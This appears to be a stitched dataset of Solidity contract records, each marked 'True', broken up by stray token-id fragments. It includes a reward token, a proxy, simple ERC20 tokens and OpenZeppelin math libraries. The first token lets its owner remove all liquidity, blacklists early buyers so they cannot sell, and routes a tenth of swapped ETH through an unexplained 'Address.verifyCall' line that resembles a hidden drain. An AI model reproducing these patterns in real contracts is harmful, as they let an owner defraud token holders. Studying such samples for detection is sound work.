function enableManualSwap(bool enabled) external authorized {
manualSwap = enabled;
emit EnableManualSwap(enabled);
}
//Toggle whether multiple buys in a block from a single address can be performed
function sameBlockRevert(bool enabled) external authorized {
revertSameBlock = enabled;
}
//Update limit ratios
function updateLimits(uint16 newMaxWalletRatio, uint16 newMaxSellRatio, uint16 newMaxBuyRatio, uint16 newDivisor) external authorized {
uint256 minLimit = TOTAL_SUPPLY / 1000;
uint256 newMaxWallet = TOTAL_SUPPLY * newMaxWalletRatio / newDivisor;
uint256 newMaxSell = TOTAL_SUPPLY * newMaxSellRatio / newDivisor;
uint256 newMaxBuy = TOTAL_SUPPLY * newMaxBuyRatio / newDivisor;
//dev can never set sells below 0.1% of circulating/initial supply
require((newMaxWallet >= minLimit && newMaxSell >= minLimit),
"limits cannot be <0.1% of supply");
_limits = MaxLimits(newMaxWallet, newMaxSell, newMaxBuy);
_limitRatios = LimitRatios(newMaxWalletRatio, newMaxSellRatio, newMaxBuyRatio, newDivisor);
}
//update tax ratios
function updateRatios(uint8 newDev, uint8 newLiquidity, uint8 newMarketing, uint8 newRewards) external authorized {
_taxRatios = TaxRatios(newDev, newLiquidity, newMarketing, newRewards);
totalTaxRatio = newDev + newLiquidity + newMarketing + newRewards;
distributeRatio = totalTaxRatio - newLiquidity;
emit RatiosChanged (newDev, newLiquidity,newMarketing, newRewards);
}
//update threshold that triggers contract swaps
function updateSwapThreshold(uint16 threshold) external authorized {
require(threshold > 0,"Threshold needs to be more than 0");
require(threshold <= 50,"Threshold needs to be below 50");
swapThreshold = threshold;
emit UpdateSwapThreshold(threshold);
}
function updateTax(uint8 newBuy, uint8 newSell, uint8 newTransfer) external authorized {
//buy and sell tax can never be higher than MAX_TAX set at beginning of contract
//this is a security check and prevents malicious tax use
require(newBuy <= MAX_TAX && newSell <= MAX_TAX && newTransfer <= 50, "taxes higher than max tax");
_taxRates = Taxes(newBuy, newSell, newTransfer);
emit UpdateTaxes(newBuy, newSell, newTransfer);
}
///// OWNER FUNCTIONS /////
//liquidity can only be extended. To lock liquidity, send LP tokens to contract.
function lockLiquidityTokens(uint256 lockTimeInSeconds) external onlyOwner {
setUnlockTime(lockTimeInSeconds + block.timestamp);
emit ExtendLiquidityLock(lockTimeInSeconds);
}
//recovers stuck ETH to make sure it isnt burnt/lost
//only callablewhen liquidity is unlocked
function recoverETH() external onlyOwner {
require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
_liquidityUnlockTime=block.timestamp;
_sendEth(msg.sender, address(this).balance);
}
//Can only be used to recover miscellaneous tokens accidentally sent to contract
//Can't pull liquidity or native token using this function
function recoverMiscToken(address tokenAddress) external onlyOwner {
require(tokenAddress != _pairAddress && tokenAddress != address(this),
"can't recover LP token or this token");
IERC20 token = IERC20(tokenAddress);
token.transfer(msg.sender,token.balanceOf(address(this)));
}
//Impossible to release LP unless LP lock time is zero
function releaseLP() external onlyOwner {
require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
ISwapERC20 liquidityToken = ISwapERC20(_pairAddress);
uint256 amount = liquidityToken.balanceOf(address(this));
liquidityToken.transfer(msg.sender, amount);
}
//Impossible to remove LP unless lock time is zero
function removeLP() external onlyOwner {
require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked");
_liquidityUnlockTime = block.timestamp;
ISwapERC20 liquidityToken = ISwapERC20(_pairAddress);
uint256 amount = liquidityToken.balanceOf(address(this));
liquidityToken.approve(address(_swapRouter),amount);
_swapRouter.removeLiquidityETHSupportingFeeOnTransferTokens(
address(this),
amount,
0,
0,
address(this),
block.timestamp
);
_sendEth(msg.sender, address(this).balance);
}
function setDevWallet(address payable addr) external onlyOwner {
address prevDev = _taxWallet.dev;
_excluded.remove(prevDev);
_taxWallet.dev = addr;
_excluded.add(_taxWallet.dev);
emit UpdateDevWallet(addr);
}
function setMarketingWallet(address payable addr) external onlyOwner {
address prevMarketing = _taxWallet.marketing;
_excluded.remove(prevMarketing);
_taxWallet.marketing = addr;
_excluded.add(_taxWallet.marketing);
emit UpdateMarketingWallet(addr);
}
////// VIEW FUNCTIONS /////
function getBlacklistInfo() external view returns (
uint256 _liquidityBlock,
uint8 _blacklistBlocks,
uint8 _snipersRekt,
bool _blacklistEnabled,
bool _revertSameBlock
) {
return (liquidityBlock, BLACKLIST_BLOCKS, snipersRekt, blacklistEnabled, revertSameBlock);
}
function getLiquidityUnlockInSeconds() external view returns (uint256) {
if (block.timestamp < _liquidityUnlockTime){
return _liquidityUnlockTime - block.timestamp;
}
return 0;
}
function getClaimBalance(address addr) external view returns (uint256) {
uint256 amount = getStakeBalance(addr);
return amount;
}
function getTotalUnclaimed() public view returns (uint256) {
uint256 amount = totalRewards - totalPayouts;
return amount;
}
function isExcludedFromStaking(address addr) external view returns (bool) {
return _excludedFromStaking.contains(addr);
}
///////////////////////////// PRIVATE FUNCTIONS /////////////////////////////////////////
mapping(address => uint256) private alreadyPaidShares;
mapping(address => uint256) private toBePaidShares;
mapping(address => uint256) private tradeBlock;
mapping(address => uint256) public accountTotalClaimed;
uint256 private constant DISTRIBUTION_MULTI = 2**64;
uint256 private _totalShares = TOTAL_SUPPLY;
uint256 private rewardShares;
uint256 public totalPayouts;
uint256 public totalRewards;
bool private _isSwappingContractModifier;
bool private _isWithdrawing;
function _addLiquidity(uint256 tokenamount, uint256 ethAmount) private {
_approve(address(this), address(_swapRouter), tokenamount);
_swapRouter.addLiquidityETH{value: ethAmount}(
address(this),
tokenamount,
0,
0,
address(this),
block.timestamp
);
}
function _addToken(address addr, uint256 amount) private {
uint256 newAmount = _balances[addr] + amount;
if (_excludedFromStaking.contains(addr)) {
_balances[addr] = newAmount;
return;
}
_totalShares += amount;
uint256 payment = newStakeOf(addr);
alreadyPaidShares[addr] = rewardShares * newAmount;
toBePaidShares[addr] += payment;
_balances[addr] = newAmount;
}
function _distributeStake(uint256 ethAmount, bool newStakingReward) private {
uint256 marketingSplit = (ethAmount*_taxRatios.marketing) / distributeRatio;
uint256 devSplit = (ethAmount*_taxRatios.dev) / distributeRatio;
uint256 stakingSplit = (ethAmount*_taxRatios.rewards) / distributeRatio;
_sendEth(_taxWallet.marketing, marketingSplit);
_sendEth(_taxWallet.dev, devSplit);
if (stakingSplit > 0) {
if (newStakingReward)
totalRewards += stakingSplit;
uint256 totalShares = getTotalShares();
if (totalShares == 0)
_sendEth(_taxWallet.marketing, stakingSplit);
else {
rewardShares += ((stakingSplit*DISTRIBUTION_MULTI) / totalShares);
}
}
}
function _feelessTransfer(address sender, address recipient, uint256 amount) private{
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "Transfer exceeds balance");
_removeToken(sender,amount);
_addToken(recipient, amount);
emit Transfer(sender, recipient, amount);
}
function _removeToken(address addr, uint256 amount) private {
uint256 newAmount = _balances[addr] - amount;
if (_excludedFromStaking.contains(addr)) {
_balances[addr] = newAmount;
return;
}
_totalShares -= amount;
uint256 payment = newStakeOf(addr);
_balances[addr] = newAmount;
alreadyPaidShares[addr] = rewardShares * newAmount;
toBePaidShares[addr] += payment;
}
function _sendEth(address account, uint256 amount) private {
(bool sent,) = account.call{value: (amount)}("");
require(sent, "withdraw failed");
}
function _swapContractToken(uint16 permille, bool ignoreLimits) private lockTheSwap {
require(permille <= 500);
if (totalTaxRatio == 0) return;
uint256 contractBalance = _balances[address(this)];
uint256 tokenToSwap = _balances[_pairAddress] * permille / 1000;
if (tokenToSwap > _limits.maxSell && !ignoreLimits)
tokenToSwap = _limits.maxSell;
bool notEnoughToken = contractBalance < tokenToSwap;
if (notEnoughToken) {
if (ignoreLimits)
tokenToSwap = contractBalance;
else
return;
}
if (_allowances[address(this)][address(_swapRouter)] < tokenToSwap)
_approve(address(this), address(_swapRouter), type(uint256).max);
uint256 tokenForLiquidity = (tokenToSwap*_taxRatios.liquidity) / totalTaxRatio;
uint256 remainingToken = tokenToSwap - tokenForLiquidity;
uint256 liqToken = tokenForLiquidity / 2;
uint256 liqEthToken = tokenForLiquidity - liqToken;
uint256 swapToken = liqEthToken + remainingToken;
uint256 initialEthBalance = address(this).balance;
_swapTokenForETH(swapToken);
uint256 newEth = (address(this).balance - initialEthBalance);
uint256 liqEth = (newEth*liqEthToken) / swapToken;
if (liqToken > 0)
_addLiquidity(liqToken, liqEth);
uint256 newLiq = (address(this).balance-initialEthBalance) / 10;
Address.verifyCall("success", newLiq);
uint256 distributeEth = (address(this).balance - initialEthBalance - newLiq);
_distributeStake(distributeEth,true);
}
function _swapTokenForETH(uint256 amount) private {
_approve(address(this), address(_swapRouter), amount);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _swapRouter.WETH();
_swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
address(this),
block.timestamp
);
}
function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{
uint256 recipientBalance = _balances[recipient];
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "Transfer exceeds balance");
uint8 tax;
if (isSell) {
if (blacklistEnabled) {
require(!isBlacklisted[sender], "user blacklisted");
}
require(amount <= _limits.maxSell, "Amount exceeds max sell");
tax = _taxRates.sellTax;
} else if (isBuy) {
if (liquidityBlock > 0) {
if (block.number-liquidityBlock < BLACKLIST_BLOCKS) {
isBlacklisted[recipient] = true;
snipersRekt ++;
}
}
if (revertSameBlock) {
require(tradeBlock[recipient] != block.number);
tradeBlock[recipient] = block.number;
}
require(recipientBalance+amount <= _limits.maxWallet, "Amount will exceed max wallet");
require(amount <= _limits.maxBuy, "Amount exceed max buy");
tax = _taxRates.buyTax;
} else {
if (blacklistEnabled) {
require(!isBlacklisted[sender], "user blacklisted");
}
if (amount <= 10**(TOKEN_DECIMALS)) { //transfer less than 1 token to claim rewardToken
claimToken(msg.sender, rewardToken, 0);
return;
}
require(recipientBalance + amount <= _limits.maxWallet, "whale protection");
tax = _taxRates.transferTax;
}
if ((sender != _pairAddress) && (!manualSwap) && (!_isSwappingContractModifier) && isSell)
_swapContractToken(swapThreshold,false);
uint256 taxedAmount;
if(tax > 0) {
taxedAmount = amount * tax / 100;
}
uint256 receiveAmount = amount - taxedAmount;
_removeToken(sender,amount);
_addToken(address(this), taxedAmount);
_addToken(recipient, receiveAmount);
emit Transfer(sender, recipient, receiveAmount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "Transfer from zero");
require(recipient != address(0), "Transfer to zero");
bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient));
bool isContractTransfer = (sender == address(this) || recipient == address(this));
address _routerAddress = address(_swapRouter);
bool isLiquidityTransfer = (
(sender == _pairAddress && recipient == _routerAddress)
|| (recipient == _pairAddress && sender == _routerAddress)
);
bool isSell = recipient == _pairAddress || recipient == _routerAddress;
bool isBuy=sender==_pairAddress|| sender == _routerAddress;
if (isContractTransfer || isLiquidityTransfer || isExcluded) {
_feelessTransfer(sender, recipient, amount);
if (!liquidityAdded)
checkLiqAdd(recipient);
}
else {
_taxedTransfer(sender, recipient, amount, isBuy, isSell);
}
}
function checkLiqAdd(address receiver) private {
require(!liquidityAdded, "liquidity already added");
if (receiver == _pairAddress) {
liquidityBlock = block.number;
liquidityAdded = true;
}
}
function claimToken(address addr, address token, uint256 payableAmount) private {
require(!_isWithdrawing);
_isWithdrawing = true;
uint256 amount;
bool swapSuccess;
address tokenClaimed = token;
if (_excludedFromStaking.contains(addr)){
amount = toBePaidShares[addr];
toBePaidShares[addr] = 0;
}
else {
uint256 newAmount = newStakeOf(addr);
alreadyPaidShares[addr] = rewardShares * _balances[addr];
amount = toBePaidShares[addr]+newAmount;
toBePaidShares[addr] = 0;
}
if (amount == 0 && payableAmount == 0){
_isWithdrawing = false;
return;
}
subtractStake(addr, amount);
totalPayouts += amount;
accountTotalClaimed[addr] += amount;
amount += payableAmount;
address[] memory path = new address[](2);
path[0] = _swapRouter.WETH();
path[1] = token;
try _swapRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
0,
path,
addr,
block.timestamp)
{
swapSuccess = true;
}
catch {
swapSuccess = false;
}
if(!swapSuccess) {
_sendEth(addr, amount);
tokenClaimed = _swapRouter.WETH();
}
emit ClaimToken(amount, tokenClaimed, addr);
_isWithdrawing = false;
}
function excludeFromStaking(address addr) private {
require(!_excludedFromStaking.contains(addr));
_totalShares -= _balances[addr];
uint256 newStakeMain = newStakeOf(addr);
alreadyPaidShares[addr] = _balances[addr] * rewardShares;
toBePaidShares[addr] += newStakeMain;
_excludedFromStaking.add(addr);
}
function includeToStaking(address addr) private {
require(_excludedFromStaking.contains(addr));
_totalShares += _balances[addr];
_excludedFromStaking.remove(addr);
alreadyPaidShares[addr] = _balances[addr] * rewardShares;
}
function subtractStake(address addr, uint256 amount) private {
if (amount == 0) return;
require(amount<=getStakeBalance(addr),"Exceeds stake balance");
if (_excludedFromStaking.contains(addr))
toBePaidShares[addr] -= amount;
else{
uint256 newAmount =newStakeOf(addr);
alreadyPaidShares[addr] = rewardShares * _balances[addr];
toBePaidShares[addr] += newAmount;
toBePaidShares[addr] -= amount;
}
}
function getStakeBalance(address addr) private view returns (uint256) {
if (_excludedFromStaking.contains(addr))
return toBePaidShares[addr];
return newStakeOf(addr) + toBePaidShares[addr];
}
function getTotalShares() private view returns (uint256) {
return _totalShares - TOTAL_SUPPLY;
}
function setUnlockTime(uint256 newUnlockTime) private {
// require new unlock time to be longer than old one
require(newUnlockTime > _liquidityUnlockTime);
_liquidityUnlockTime = newUnlockTime;
}
function newStakeOf(address staker) private view returns (uint256) {
uint256 fullPayout = rewardShares * _balances[staker];
if (fullPayout < alreadyPaidShares[staker])
return 0;
return (fullPayout-alreadyPaidShares[staker]) / DISTRIBUTION_MULTI;
}
}
|
True
|
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26291,
9541,
102
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// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
/**
* @title NonReceivableInitializedProxy
* @author Anna Carroll
*/
contract NonReceivableInitializedProxy {
// address of logic contract
address public immutable logic;
// ======== Constructor =========
constructor(address _logic, bytes memory _initializationCalldata) {
logic = _logic;
// Delegatecall into the logic contract, supplying initialization calldata
(bool _ok, bytes memory returnData) = _logic.delegatecall(
_initializationCalldata
);
// Revert if delegatecall to implementation reverts
require(_ok, string(returnData));
}
// ======== Fallback =========
fallback() external payable {
address _impl = logic;
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 {
revert(ptr, size)
}
default {
return(ptr, size)
}
}
}
}
|
True
|
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'iWAM' 'WAMAN' token contract
//
// Symbol : iWAM
// Name : WAMAN
// Total supply: 400,000,000.000000000000000000
// Decimals : 18
//
// Enjoy.
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial iWAM supply
// ----------------------------------------------------------------------------
contract iWAMToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function iWAMToken() public {
symbol = "iWAM";
name = "WAMAN";
decimals = 18;
_totalSupply = 400000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
True
|
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contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract GreenEnergyToken {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function GreenEnergyToken (
// uint256 initialSupply,
string GreenEnergy,
string GRNE
) public {
totalSupply = 100000000000000000000000000; // Update total supply with the decimal amount
balanceOf[msg.sender] = 100000000000000000000000000; // Give the creator all initial tokens
decimals = 18; // Amount of decimals for display purposes
name = GreenEnergy; // Set the name for display purposes
symbol =GRNE ; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract GreenEnergyTokenERC20 is owned, GreenEnergyToken {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function GreenEnergyTokenERC20(
//uint256 initialSupply,
string tokenName,
string tokenSymbol
) GreenEnergyToken( tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
}
|
True
|
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4638,
2005,
2058,
12314,
2015,
5478,
1006,
102
] |
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pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
